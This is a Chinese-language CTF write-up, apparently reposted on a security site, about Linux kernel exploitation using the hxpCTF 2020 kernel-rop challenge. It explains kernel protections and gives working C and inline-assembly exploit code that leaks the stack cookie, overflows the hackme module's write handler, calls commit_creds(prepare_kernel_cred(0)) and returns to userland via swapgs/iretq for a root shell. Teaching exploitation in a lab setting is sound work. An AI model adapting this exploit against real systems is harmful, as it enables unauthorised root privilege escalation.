Linux Kernel Pwn Part 1

admin 2022年1月31日11:32:34评论65 views字数 5333阅读17分46秒阅读模式
Protect Policy
  • Kernel stack cookies[canaries]

  • 同userland的栈保护机制canary类似,在内核编译时启用,并不能够禁用。

  • Kernel address space layout randomization[KASLR]

  • 内核地址随机化,类似于userland的ASLR,每次开机都会随机内核加载的基地址。

  • 可以通过在-append选项中添加kaslr或者nokasr启用或禁用。

  • Supervisor mode execution protection[SMEP]

    这一机制使得kernel-mode下的进程标记所有userland的地址为non-executable,即不可执行的,该机制由控制寄存器CR4的20th bit控制。

    可以通过在-cpu选项中指定+smep启用,在-append中指定nosmep禁用。

  • Supervisor mode access prevention[SMAP]

    类似于SMEP,该机制标记所有kernel-mode进程的userland地址为non-accessiable,即不可读也不可写。由CR4的21th bits控制。

    可以通过-cpu选项指定+smap启用,在-append指定nosmape禁用。

  • Kernel page table isolation[KPTI]

    当KPTI启用时,user-space和kernel-space的 page tables将完全分开,而不是只有一个包含user-space和kernel-space地址的page tables集合。

    其中,既包含user-space又有kernel-space的page tables只在系统运行在kernel-mode时使用。

    包含整个user-space和部分kernel-space的page tables在运行在user-mode时使用。

    可以通过在-append选项中指定kpti=1nopti启用或禁用。

kernel-rop

示例是 hxpCTF2020的kernel-rop,hackme.ko存在的漏洞

ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off){  unsigned __int64 v4; // rdx  ssize_t v5; // rbx  int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF  unsigned __int64 v8; // [rsp+80h] [rbp-20h]
_fentry__(f, data, size, off); v5 = v4; v8 = __readgsqword(0x28u); if ( v4 > 0x1000 ) // size检查是否超过0x1000 { _warn_printk("Buffer overflow detected (%d < %lu)!n", 0x1000LL); BUG(); } _check_object_size(hackme_buf, v4, 0LL); if ( copy_from_user(hackme_buf, data, v5) ) return -14LL; _memcpy(tmp, hackme_buf, v5); // tmp缓冲区溢出 return v5;}

由于tmp空间只有0x80大小,而来自user的数据可以有0x1000大小,所以存在溢出。


leak cookie


tmp地址在rbp-0xa0,cookie在rbp-0x20


hackme_read函数可以用于泄漏

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off){  unsigned __int64 v4; // rdx  unsigned __int64 v5; // rbx  bool v6; // zf  ssize_t result; // rax  int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF  unsigned __int64 v9; // [rsp+80h] [rbp-20h]
_fentry__(f, data, size, off); v5 = v4; v9 = __readgsqword(0x28u); _memcpy(hackme_buf, tmp, v4); // 越界读 if ( v5 > 0x1000 ) { _warn_printk("Buffer overflow detected (%d < %lu)!n", 4096LL); BUG(); } _check_object_size(hackme_buf, v5, 1LL); v6 = copy_to_user(data, hackme_buf, v5) == 0; result = -14LL; if ( v6 ) result = v5; return result;}

可以读取tmp后的更多内容,包括cookie

void leak_cookie(){    unsigned long leak_info[0xa0/8];    memset(leak_info, 0, sizeof(leak_info));    size_t size = read(global_fd, leak_info, 0xa0);    cookie = leak_info[0x80/8];
printf("[*] Leak %zd bytesn", size); printf("[*] Cookie: 0x%lxn", cookie); return ;}
overwrite return address


不同于userspace的程序,kernel函数退出时会进行三次pop操作,因此在cookie后需要三个paddding,之后才是控制执行的地址。

void exploit(){    unsigned long payload[0x100/8];    unsigned long offset = 0x80/8;    payload[offset++] = cookie;    payload[offset++] = 0x0;    payload[offset++] = 0x0;    payload[offset++] = 0x0;    payload[offset++] = (unsigned long)escalate_privs;      // 引导想要执行的地址
puts("[*] Prepared payload"); size_t size = write(global_fd, payload, sizeof(payload)); puts("[!] Should never be reached");}


root privilige

在kernel exploitation中,目的不是像userland地获取一个shell,而是获取系统的root权限,也称为escalate_privs。最常见的方式就是使用两个函数commit_credsprepare_kernel_cred,这两个函数就在kernel-space代码中,我们的目的就是像下面这样执行

commit_creds(prepare_kernel_cred(0));

所以,一个简单的escalate_privs代码如下

void escalate_privs(){    __asm__(        "movabs, rax, 0xdeadbeef;"      // prepare_kernel_cred        "xor rdi, rdi;"        "call rax;"        "mov rdi, rax;"        "movabs, rax, 0xdeadbeef;"      // commit_creds        "call rax;"                             )}

所有kernel下的符号地址,可以通过读/proc/kallsyms获取,但是需要root权限。

/ # cat /proc/kallsyms | grep commit_credsffffffff814c6410 T commit_credsffffffff81f87d90 r __ksymtab_commit_credsffffffff81fa0972 r __kstrtab_commit_credsffffffff81fa4d42 r __kstrtabns_commit_creds/ # cat /proc/kallsyms | grep prepare_kernel_credffffffff814c67f0 T prepare_kernel_credffffffff81f8d4fc r __ksymtab_prepare_kernel_credffffffff81fa09b2 r __kstrtab_prepare_kernel_credffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred
ByPass KASLR


但是由于KASLR的存在,commit_credsprepare_kernel_code函数地址每次开机都是随机的,因此需要动态获取。在Part1部分,通过noaslr暂时关闭了该机制。

Return to userland


在获取root权限后,需要返回一个userland的shell,由于上述的代码都是在kernel-mode下执行的,因此需要返回user-mode。


一般地,如果kernel正常运行,执行sysretq或者iretq将返回到userland。最常用的方式就是iret,因为sysretq更复杂。


iretq指令只需要在栈上按顺序提前设置5个用户态寄存器:RIP|CS|RFLAGS|SP|SS


进程分别为user-mode和kernel-mode保存两组上述寄存器,所以执行完kernel-mode后,必须为这些寄存器设置为user-mode的值。


对于RIP,我们可以简单地设置为弹出shell的函数地址;而对于其他寄存器,如果我们设置为一些随机值,进程或许会执行异常。为了解决这个问题,一个明智的办法就是:在进入kernel-mode之前保存这些寄存器的状态,获取root权限之后,再重新还原状态。


保存寄存器状态的函数:

void save_state(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_ss, ss;"        "mov user_sp, rsp;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"        );    puts("[*] Saved state");}

除此之外,在x86_64中,在执行iretq前需要执行swapgs指令,用于切换kernel-mode和user-mode的GS寄存器。完善后的escalate_privs函数

void escalate_privs(){
user_rip = (unsigned long)get_root_shell; __asm__( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" // prepare_kernel_cred "xor rdi, rdi;" "call rax;" "mov rdi, rax;" "movabs rax, 0xffffffff814c6410;" // commit_creds "call rax;" "swapgs;" // swap kernel-mode user-mode gs "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;"
".att_syntax;" );
puts("[*] Escalate privilges done ");}

当关闭所有的保护方式时,就可以运行上述代码,获取root权限的shell。

int main(){    save_state();    open_dev();    leak_cookie();    exploit();
puts("[!] Should never be reached!"); return 0;}
Debug Running Module

在调试exploit过程中,经常需要调试观察,通过qemu + gdb可以远程调试kernel,在qemu启动时,加上-s选项。


启动kernel后,需要获取想要调试的目标模块下需要下断的地址,比如这里的hackme_write

/ # cat /proc/kallsyms | grep hackme_writeffffffffc00710d0 t hackme_write [hackme]/ # cat /proc/kallsyms | grep hackme_readffffffffc0071000 t hackme_read  [hackme]


之后,gdb远程连接,下断点

gdb ./vmlinuxtarget remote localhost:1234
b* ffffffffc00710d0c

和调试userland进程一致了。


来源:先知 

注:如有侵权请联系删除





Linux Kernel Pwn Part 1

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

Linux Kernel Pwn Part 1

努力的目的不是为了达到别人所设定的目标,

而是可以更有底气的去选择自己想要的生活。



原文始发于微信公众号(衡阳信安):Linux Kernel Pwn Part 1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月31日11:32:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux Kernel Pwn Part 1https://cn-sec.com/archives/761052.html

发表评论

匿名网友 填写信息